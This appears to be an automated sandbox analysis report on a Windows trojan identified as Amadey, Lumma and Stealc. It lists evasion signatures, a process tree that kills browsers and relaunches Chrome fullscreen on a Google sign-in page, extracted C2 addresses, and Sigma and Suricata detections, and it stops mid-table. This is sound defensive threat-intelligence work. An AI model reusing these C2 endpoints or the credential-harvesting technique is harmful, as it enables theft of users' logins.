Edit tour

Windows Analysis Report
8ObkdHP9Hq.exe

Overview

General Information

Sample name:	8ObkdHP9Hq.exe renamed because original name is a hash value
Original sample name:	77b69071ccc75e75a48ea59d48a55a30.exe
Analysis ID:	1527565
MD5:	77b69071ccc75e75a48ea59d48a55a30
SHA1:	1462b225e40ce72df31075d9ca920a356818fe3c
SHA256:	e7dd285dc9f2ba81816427bb3a6f90645deb0b8d346d2edb81e9283a1bdbf787
Tags:	32exetrojan
Infos:

Detection

LummaC, Amadey, Credential Flusher, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Excessive usage of taskkill to terminate processes

Found API chain indicative of sandbox detection

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has a writeable .text section

Potentially malicious time measurement code found

Searches for specific processes (likely to inject)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

8ObkdHP9Hq.exe (PID: 6796 cmdline: "C:\Users\user\Desktop\8ObkdHP9Hq.exe" MD5: 77B69071CCC75E75A48EA59D48A55A30)

skotes.exe (PID: 4416 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 77B69071CCC75E75A48EA59D48A55A30)

skotes.exe (PID: 7692 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 77B69071CCC75E75A48EA59D48A55A30)

84d280a9e8.exe (PID: 7884 cmdline: "C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe" MD5: A914737C9AF5014B7CD65B6649094707)

taskkill.exe (PID: 7904 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7984 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8048 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8112 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8176 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 344 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2668 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5544 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5648 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2916 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5808 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6904 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5800 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5964 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4484 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8164 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2904 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5232 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4516 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

num.exe (PID: 2488 cmdline: "C:\Users\user\AppData\Local\Temp\1000336001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

9d7da53f74.exe (PID: 5236 cmdline: "C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe" MD5: 86FEA273D36E3F9C8221E22B937B1929)

84d280a9e8.exe (PID: 6488 cmdline: "C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe" MD5: A914737C9AF5014B7CD65B6649094707)

taskkill.exe (PID: 6456 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6624 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6932 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6408 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7632 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 7932 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8136 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1152 --field-trial-handle=2040,i,8769351574913738686,7511269282204500585,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

taskkill.exe (PID: 2800 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4584 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6580 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5596 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 280 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 2140 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5984 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1992,i,7048868189645442855,15603037541109083957,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

taskkill.exe (PID: 7964 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8012 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8040 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6196 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1784 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 2112 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7288 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=1152,i,15500864807837732652,8979653825790183584,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

taskkill.exe (PID: 4076 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5744 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7440 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1712 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3720 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

num.exe (PID: 6516 cmdline: "C:\Users\user\AppData\Local\Temp\1000336001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

9d7da53f74.exe (PID: 7244 cmdline: "C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe" MD5: 86FEA273D36E3F9C8221E22B937B1929)

84d280a9e8.exe (PID: 5996 cmdline: "C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe" MD5: A914737C9AF5014B7CD65B6649094707)

taskkill.exe (PID: 3964 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1000336001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1000336001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002C.00000002.2630021156.0000000000587000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000002.2953823488.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000006.00000002.2951418045.0000000001088000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000014.00000000.2430826993.0000000000B81000.00000080.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1710668999.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1787122372.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000002.2442698783.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000004E.00000002.2953026392.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000002C.00000002.2630993454.0000000000B81000.00000080.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2313808544.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002C.00000000.2616219253.0000000000B81000.00000080.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000002.2442182169.0000000000B81000.00000080.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.1746151860.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1750861605.0000000000881000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 84d280a9e8.exe PID: 7884	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: num.exe PID: 2488	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 2488	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 84d280a9e8.exe PID: 6488	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: num.exe PID: 6516	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 6516	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 84d280a9e8.exe PID: 5996	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author
20.2.num.exe.b80000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
44.0.num.exe.b80000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
44.2.num.exe.b80000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
20.0.num.exe.b80000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.8ObkdHP9Hq.exe.880000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.da0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.skotes.exe.da0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7692, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\84d280a9e8.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7692, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\84d280a9e8.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:23:23.986667+0200	2054653	1	A Network Trojan was detected	192.168.2.4	61043	104.21.53.8	443	TCP
2024-10-07T03:24:09.272966+0200	2054653	1	A Network Trojan was detected	192.168.2.4	61190	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:23:23.986667+0200	2049836	1	A Network Trojan was detected	192.168.2.4	61043	104.21.53.8	443	TCP
2024-10-07T03:24:09.272966+0200	2049836	1	A Network Trojan was detected	192.168.2.4	61190	104.21.53.8	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:23:14.334415+0200	2019714	2	Potentially Bad Traffic	192.168.2.4	49842	185.215.113.103	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:23:13.485515+0200	2044696	1	A Network Trojan was detected	192.168.2.4	49836	185.215.113.43	80	TCP
2024-10-07T03:23:17.841800+0200	2044696	1	A Network Trojan was detected	192.168.2.4	49872	185.215.113.43	80	TCP
2024-10-07T03:23:23.082188+0200	2044696	1	A Network Trojan was detected	192.168.2.4	61038	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:23:21.647743+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	53746	1.1.1.1	53	UDP
2024-10-07T03:23:43.173115+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	63294	1.1.1.1	53	UDP
2024-10-07T03:24:07.057096+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	49352	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:23:21.564333+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	60282	1.1.1.1	53	UDP
2024-10-07T03:23:43.117801+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	51649	1.1.1.1	53	UDP
2024-10-07T03:24:06.988623+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	62159	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
